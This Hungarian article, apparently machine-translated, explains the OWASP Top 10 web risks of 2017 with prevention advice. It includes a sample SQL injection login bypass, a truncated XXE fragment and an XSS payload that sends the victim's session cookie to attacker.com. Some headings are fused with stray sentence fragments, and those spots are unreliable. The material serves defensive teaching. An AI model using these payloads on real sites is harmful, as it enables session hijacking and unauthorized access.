A weboldalakat érő leggyakoribb támadások egyszerűen megelőzhetők. Az OWASP összeállított egy listát a tíz leggyakoribb webhelytámadásról, amely segít felfedezni a biztonsági hiányosságokat. Elmélyedünk ezekben a gyakori támadásokban, és megvitatjuk, mit kezdhetsz el tenni a webhelyed védelme érdekében.
Az InfoSec szakemberek által gyakran megosztott statisztika: “A támadások 78%-a az alkalmazás ellen irányul.”
Nem telik el úgy hét, hogy ne hallanánk egy újabb masszív betörésről vagy sebezhetőségről, amely felhasználók millióit érinti minden iparágban. Akár pontos ez a szám, akár tényleg csak 74% (vagy inkább közelebb van a 85%-hoz), egy dolog egyértelmű: weboldalaink veszélyben vannak, és ha a tiédet még nem támadták meg, az csak idő és pénz (és a támadók motivációjának) kérdése.
Egy érdekes szempont, ami sok ilyen támadásban közös, hogy nem magas technikai színvonalúak és csak az NSA pincéjében ülő fejlett hackercsapatok által megvalósíthatóak. E támadások leggyakoribb forrása a “script kiddies” néven ismert csoport, olyan képzetlen fiatalok, akik egyszerűen letöltik az automatizált eszközkészleteket az internetről, és megpróbálnak feltörni bármilyen véletlenszerű webhelyet, amely könnyen kihasználható, alacsonyan lógó sebezhetőségeket kínál. Még a képzettebb kiberbűnözők is ugyanezekkel az eszközkészletekkel (vagy azok valamivel fejlettebb változataival) kezdik meg első próbálkozásaikat.
Miért kellene törődnünk vele? Mert ez azt jelenti, hogy a leggyakoribb támadások és a leggyakrabban kihasznált sebezhetőségek mindig a védelmünk első és leggyengébb láncszemei lesznek.
Következésképpen ez kell legyen az a pont is, ahol a védelem megerősítésére irányuló kezdeti erőfeszítéseinket összpontosítjuk. Szerencsére történetesen ez a legkönnyebben tesztelhető és legalább minimális szintű biztonságot garantáló pont is.
Az OWASP – az Open Web Application Security Project, egy világszerte működő, a szoftverek biztonságának javítására összpontosító nonprofit jótékonysági szervezet – barátságos önkéntesei ezeket a gyakori sebezhetőségeket egy “Top Ten” listába gyűjtötték össze.
Noha ez a Top Ten lista valójában nem egy “biztonsági ellenőrző lista”, gyakran ez az első sebezhetőség, amellyel a támadók megpróbálkoznak. Hasonlóképpen, rengeteg olyan automatizált eszköz létezik, amelyek a támadók szolgálatában átvizsgálják a webhelyét, lehetővé téve számukra, hogy gyorsan felfedezzék azokat a kritikus hibákat, amelyek hozzáférést biztosítanak számukra az Ön értékeihez.
Itt van az OWASP Top 10 Application Security Risks, 2017-es kiadás:
1. Injection
A támadó képes lehet úgy manipulálni a webes alkalmazást, hogy megváltoztassa az alrendszereihez küldött parancsokat, egyszerűen rosszul formált kérések küldésével, szennyezett hasznos terhekkel. A legismertebb ilyen támadás az SQL Injection, amelynek során a webhely felhasználója arra késztetheti az alkalmazást, hogy megváltoztassa ezt:
select * from users where username=’AviD’ and password=’1234′
erre:
select * from users where username=’Admin’
Ez lehetővé teszi a támadó számára, hogy rendszergazdaként jelentkezzen be az alkalmazásba, anélkül, hogy ismerné a jelszót. Ennek a támadásnak egyéb felhasználási módja lehet titkok (vagy pénz) ellopása, adatok megváltoztatása, vagy akár a tevékenység minden nyomának törlése.
Az LDAP Injection, XPath Injection, Command Injection, SMTP Injection – minden olyan eset, amikor az alkalmazás nem megbízható felhasználói bemenetet kapcsol össze egy parancsba, amelyet egy értelmezőnek ad át. A rendellenes adatok becsaphatják az értelmezőt, hogy nem kívánt parancsokat hajtson végre, vagy megfelelő jogosultság nélkül férjen hozzá adatokhoz.
Ezek a támadások általában viszonylag könnyen megelőzhetők néhány alapelv követésével:
- Validáljon minden nem megbízható bemenetet fehérlistás megközelítéssel, függetlenül a forrástól.
- Az adatbázist mindig csak paraméterezett lekérdezésekkel és tárolt eljárásokkal érje el, ahelyett, hogy egy sztring lekérdezést kapcsolna össze.
- Még jobb, ha megfelelő ORM (Object Relational Mapping) könyvtárat használ (például Hibernate, Entity Framework, ActiveRecord, hogy csak néhányat említsünk, a platformtól függően).
- Limitálja egy sikeres exploit potenciális kárát az alkalmazás adatbázis-jogosultságainak csökkentésével.
2. Az adatbázis-használati jogosultságok csökkentése. Törött hitelesítés
A legtöbb alkalmazás megköveteli a felhasználóitól, hogy bejelentkezzenek a használat előtt, gyakran egy felhasználónév/jelszó kombinációval. Ennek a hitelesítési rendszernek sokféle gyakori hibája van, amelyeket többféleképpen lehet kihasználni: szótári támadások, automatizált nyers erővel történő támadás, hitelesítő adatok kitöltése, munkamenet eltérítés és így tovább.
A támadó, akinek sikerül kitalálnia egy érvényes jelszót, képes lenne megszemélyesíteni az adott felhasználót, és bármilyen műveletet elvégezni, amire az áldozata képes lenne – anélkül, hogy különbséget tudna tenni a támadó és az áldozat között.
Ezek megakadályozásához többszintű megközelítésre van szükség:
- Változtasson meg minden alapértelmezett jelszót.
- Kényszerítsen erős, véletlenszerű jelszavakat minden felhasználó számára: legalább 12 véletlenszerű karakter, megkötések nélkül, lehetőleg jelszókezelőben tárolva; vagy alternatívaként legalább 5 véletlenszerű szót tartalmazó jelszófrázist.
- Limitálja a bejelentkezési kísérleteket, és bizonyos számú rossz jelszó után bizonyos időre zárolja a felhasználói fiókot.
- Használjon biztonságos platform-munkamenetkezelőt, amely véletlenszerűen generál hosszú munkamenet-azonosítókat, és biztonságos munkamenet-életciklust valósít meg.
- Védje a jelszavakat kriptográfiai “jelszó hash” algoritmussal, például Bcrypt, scrypt vagy Argon2.
A jelszóalapú támadások mérséklése érdekében fontolja meg továbbá a többfaktoros hitelesítés bevezetését, és ne engedje meg a támadónak, hogy a “Jelszó elfelejtése” oldalon a macska nevének ismeretében megkerülje a jelszavát. Van néhány további részlet, amely az adott architektúrától és kontextustól függően fontos lehet.
3. Érzékeny adatok kitettsége
A titkos adatokat általában titkosítással és más kriptográfiai algoritmusokkal kell védeni. Ezt azonban túl gyakran, ha egyáltalán megvalósítják, akkor is csak hiányosan, lehetővé téve a támadók számára, hogy olyan érzékeny adatokat szerezzenek meg, amelyekhez nem lenne szabad, beleértve a jelszavakat, hitelkártyákat, személyes adatokat (PII) és más üzleti szempontból kritikus adatokat.
A leggyakoribb hibák közé tartozik az adatok nem titkosítása; a szabványos algoritmusok és protokollok helyett egyéni titkosítási séma létrehozása; gyenge kulcsok használata; a titkosítási kulcsok felfedése; és a protokollok nem megfelelő megvalósítása, e.pl. a TLS-tanúsítvány érvényesítésének elmulasztása.
A megfelelő kriptográfiai ellenőrzések (például AES-titkosítás a tárolt adatokhoz és TLS a HSTS engedélyezésével a forgalomhoz) használata a megfelelő paraméterekkel bőségesen megvédi az érzékeny adatokat mind nyugalomban, mind szállítás közben.
4. XML külső entitások (XXE)
Az alkalmazásoknak gyakran XML-dokumentumokat kell fogadniuk és feldolgozniuk a felhasználóktól. A régi vagy rosszul konfigurált XML-elemzők lehetővé tehetik az XML-dokumentumokon belül a külső entitáshivatkozásoknak nevezett XML-funkciót, amely kiértékeléskor egy másik fájl tartalmát ágyazza be. A támadók ezzel visszaélve bizalmas adatokat olvashatnak, belső rendszerekhez férhetnek hozzá, és akár le is állíthatják az alkalmazást egy DoS-támadás (Denial of Service) keretében.
Egy XML-dokumentum például, amely ezt tartalmazza:
]>&xxe;
az XML-dokumentumon belül a jelszófájl tartalmát is tartalmazná.
Ez megelőzhető a DTD és a külső entitások kiértékelésének egyszerű letiltásával az elemzőben, vagy egy olyan modern elemzőkönyvtárra való frissítéssel, amely nem sebezhető.
5. Az elemzőt nem lehet letiltani. Törött hozzáférés-szabályozás
A legtöbb webes alkalmazás korlátozza, hogy a felhasználók mit láthatnak vagy tehetnek, legyen szó akár egy másik felhasználó személyes adataihoz vagy egy korlátozott területhez való hozzáférésről.
Az ezeket a korlátokat érvényesítő hozzáférés-szabályozási mechanizmusok azonban általában egyedi implementációk, és gyakran mélyen hibásak. A támadók megkerülhetik ezeket a vezérléseket, vagy visszaélhetnek velük, hogy jogosulatlan funkciókhoz vagy adatokhoz férjenek hozzá, például hozzáférjenek más felhasználók fiókjaihoz, megtekinthessék az érzékeny fájlokat, módosíthassák más felhasználók adatait, adminisztratív műveleteket hajthassanak végre és így tovább.
A hozzáférés-ellenőrzési hibák kijavítása és megelőzése rendszerszintű szemléletet igényel. Az alkalmazás összes funkciójának, a rendszerkövetelményeknek, a felhasználói szerepköröknek és egyéb korlátozásoknak a teljes, alapos áttekintése szükséges. A követelményektől függően különböző közös modellek alkalmazhatók. A legelterjedtebbek közé tartozik a szerepkör alapú hozzáférés-szabályozás (RBAC), a diszkrecionális hozzáférés-szabályozás (DAC) és az integritás alapú vagy kötelező hozzáférés-szabályozás (MAC).
Egyebek között léteznek attribútumokon (ABAC), szabályzatokon (PBAC), kontextuson (CBAC) és osztályozáson alapuló modellek (számos modell létezik, különösen a védelmi minisztériumban), valamint különféle egyéb egyedi sémák. Fontos, hogy a hozzáférés-szabályozási modellt jól tervezzük meg, hogy az egységesen alkalmazható és hatékonyan adminisztrálható legyen. Induljunk ki a legkisebb jogosultság elvéből, és csak ott engedélyezzünk, ahol szükséges.
Egyébként sok rendszernek adatvédelmi szempontból is figyelembe kell vennie a felhasználók személyes adataihoz való hozzáférés ellenőrzésének alkalmazását. Még fontosabbá válik a felhasználók magánéletének megfelelő megőrzése és a hozzájárulás nélküli hozzáférés megakadályozása, különösen az EU GDPR-frissítésének fényében.
6. A felhasználók adatainak megfelelő védelme és a hozzájárulás nélküli hozzáférés megakadályozása. Biztonsági hibás konfiguráció
A szerverek és alkalmazások rengeteg mozgó alkatrészből állnak, amelyeket mind megfelelően kell konfigurálni. Ez az alkalmazás stack minden szintjére vonatkozik, az operációs rendszertől és a hálózati eszközöktől kezdve egészen a webkiszolgálóig és magáig az alkalmazásig.
Az alapértelmezett, hiányos vagy ad hoc konfigurációk védtelenül hagyhatják a fájlokat, az alapértelmezett jelszavakat engedélyezve, a felhőszolgáltatásokat megnyitva, és a hibaüzeneteken vagy a HTTP fejléceken keresztül bizalmas információkat szivárogtathatnak ki, valamint számos más, nem biztonságos beállítás lehetővé teheti egy támadó számára a rendszerhez vagy adatokhoz való hozzáférést.
Természetesen nincs egyetlen olyan beállítás sem, amely megakadályozná ezt a sebezhetőséget. Minden potenciálisan sebezhető beállítást felül kell vizsgálni. Ne feledje, hogy ez magában foglalja az időszerű rendszerfrissítéseket és javításokat is!
7. Cross-Site Scripting (XSS)
Az XSS használatával a támadó módosíthatja a más felhasználók által az alkalmazásban látott weboldalakat, akár azért, hogy információkat, például jelszavakat és hitelkártyákat lopjon el, hamis adatokat terjesszen, eltérítse a felhasználói munkameneteket, átirányítson egy másik webhelyre, vagy rosszindulatú szkripteket hajtson végre az áldozat böngészőjében.
Ez a sebezhetőség minden olyan esetben előfordulhat, amikor nem megbízható adatok kerülnek be egy weboldalba vagy válaszba, megfelelő érvényesítés vagy szanálás nélkül. A támadó HTML- vagy JavaScript-töredékeket tartalmazó űrlapokat küldhet be, amelyek közvetlenül az oldalba ágyazódnak be, és a böngésző megjeleníti őket.
Ez a szerverkód például:
response.write(“Jó reggelt, ” + request.getParameter(“Name”));
a felhasználó Name paraméterét közvetlenül a kimenetbe ágyazza. Ennek célja, hogy a következő oldalt adja vissza, ha a felhasználó neve “John”:
Good Morning, John
Ehelyett egy támadó rosszindulatú hasznos terhet juttathat be:
Good Morning, Bossdocument.location=’http://attacker.com/?cookie=’+document.cookie
amelyet a felhasználó böngészője végrehajt, elküldi a munkamenet-sütit a támadónak, és lehetővé teszi a támadó számára a munkamenet eltérítését.
Az XSS-támadások elleni legfőbb védelem a megfelelő kódolás használata. A HTML-kódolás például minden “speciális” karaktert HTML-egységgé alakít, úgy, hogy a felhasználó számára ugyanúgy jelennek meg, de az elemző nem ismeri fel őket érvényes HTML-címkeként. A kódolásnak azonban vannak más formái is, amelyeket a kimeneti adatok konkrét kontextusától függően kellene használni – pl. attribútum kódolás, JavaScript kódolás, CSS kódolás stb. A legtöbb modern webes platform automatikusan vagy függvényhívásként biztosítja ezt a funkciót, és rengeteg biztonsági könyvtár áll rendelkezésre azok számára, amelyek ezt nem teszik meg.
Emellett jó ötlet a tartalombiztonsági politika (CSP) implementálása, hogy a böngésző ne tudja megjeleníteni az átjutott XSS-támadást. Emellett konfigurálja a munkamenet-sütiket (akár az alkalmazáskódban, akár a webkiszolgáló konfigurációjában) úgy, hogy tartalmazzák a HttpOnly attribútumot, a sikeres XSS-kihasználásoknak a felhasználók munkameneteinek eltérítésétől.
8. A munkamenet-sütiket is konfigurálja úgy, hogy tartalmazzák a HttpOnly attribútumot. Bizonytalan deserializáció
A lista legújabb tagja, a Bizonytalan deserializáció injekciós támadásokat és jogosultságnövelést tesz lehetővé, sőt bizonyos helyzetekben távoli kódfuttatáshoz és szerverátvételhez is vezethet.
Néhány alkalmazásnak objektumokat és adatokat kell olyan formátumba szerializálnia, amely könnyen továbbítható a vezetéken keresztül, vagy akár egy fájlban is tárolható. Amikor egy alkalmazás a felhasználótól kapott formázott adatok deserializálásával visszaállítja ezeket az objektumokat a memóriába, lehetséges lehet az objektum memóriájának manipulálása, és akár tetszőleges funkciók futtatására is késztetheti azt.
A Bizonytalan deserializálás elkerülésének legjobb módja, ha egyáltalán nem deserializálunk objektumokat nem megbízható adatokból! Sokkal jobb, ha lehetőség szerint teljesen elkerüljük a natív deserializációs formátumokat, és helyette inkább egy olyan adatformátumot választunk, mint az XML vagy a JSON.
Ha szükséges a natív formátumból deserializálni, ahhoz, hogy ezt biztonságosan megtehessük, meg kell ismernünk a programozási nyelv belső tulajdonságait. Ennek biztonságos elvégzéséhez különböző lépések szükségesek, attól függően, hogy az alkalmazást milyen nyelven fejlesztették. Java nyelven például a java.io.ObjectInputStream osztályt alosztályozhatja. Ezenkívül ajánlott csak olyan adatokból deserializálni, amelyeket az alkalmazás digitálisan aláírt.
9. Ismert sebezhetőségekkel rendelkező komponensek használata
A modern szoftverek már nem monolitként épülnek – mindig egyre nagyobb számban támaszkodnak harmadik féltől származó komponensekre, keretrendszerekre és nyílt forráskódú könyvtárakra. Az ezekben a függőségekben talált ismert sebezhetőségek közvetlenül érinthetik a saját alkalmazásodat is! Néha ez más, ezen a listán szereplő sebezhetőségekhez vezet, például injektáláshoz, távoli kódfuttatáshoz vagy bármilyen más olyan hibához, amely lehetővé teszi a támadók számára az érzékeny adatokhoz vagy műveletekhez való hozzáférést.
A közelmúltban éppen egy ilyen problémát okoltak a hatalmas Equifax-betörésért, ahol nem telepítettek javítást az Apache Struts2-hez. Ehelyett egy olyan verzión maradtak, amelyről ismert volt, hogy lehetővé teszi a távoli támadók számára tetszőleges parancsok végrehajtását.
A legjobb módja annak, hogy elkerülje, hogy ebbe a csapdába essen, az, hogy felülvizsgálja az összes függőségét (beleértve a tranzitív függőségeket is), és ellenőrizze, hogy valamelyik jelenleg sebezhető-e. Vezess be egy olyan folyamatot, amely biztosítja, hogy az alkalmazásod a tesztelés után mindig az összes függő könyvtár és komponens legfrissebb stabil verzióját húzza be. Valójában jelenleg számos olyan kereskedelmi eszköz létezik, amely képes ezt nyomon követni a csapata számára, valamint az OWASP ingyenes Dependency-Checkje.
10. Elégtelen naplózás & Monitoring
Míg megpróbáljuk rendszerünket immunissá tenni minden lehetséges támadás ellen, reálisan nézve el kell fogadnunk, hogy néhány támadás átjut a védelmünkön. Az ellenálló védelemnek azonban több rétegből kell állnia. Ez magában foglalja annak lehetőségét, hogy lehetőleg minél hamarabb felismerjük azokat a támadásokat, amelyek minden erőfeszítésünk ellenére sikerrel jártak.
Ez még lehetővé teheti a szervezet számára, hogy a támadásból felépüljön, vagy akár a lehető legkisebbre csökkentse a károkat. A naplózási és megfigyelési mechanizmus hatékony incidensreakcióval kombinálva megakadályozhatja, hogy a támadók további belső erőforrásokra pendüljenek át, tartósan beágyazódjanak a szervezetbe, és meggátolhatja őket abban, hogy még több adatot lopjanak vagy módosítsanak.
Egy közös naplózási mechanizmus bevezetése az egész alkalmazás számára. A legjobb, ha egy meglévő könyvtárat használ, például a log4J-t, de ez nem kötelező. A naplózási mechanizmusnak össze kell gyűjtenie minden felhasználó által kezdeményezett műveletet, futásidejű hibát és minden egyéb érzékeny eseményt. Gondoskodjon a naplóadatok megfelelő védelméről, és ne felejtsen el keresési és felülvizsgálati felületet biztosítani a rendszergazdák számára!
A jó hír az, hogy a legtöbb ilyen probléma viszonylag egyszerű, és könnyen megelőzhető, ha tudja, mire kell figyelni. Ezért, bár ez nem egy átfogó lista az összes biztonsági problémáról, amire érdemes odafigyelnie, mindenképpen az egyik legjobb kiindulópont a védett weboldal felé vezető expedícióhoz!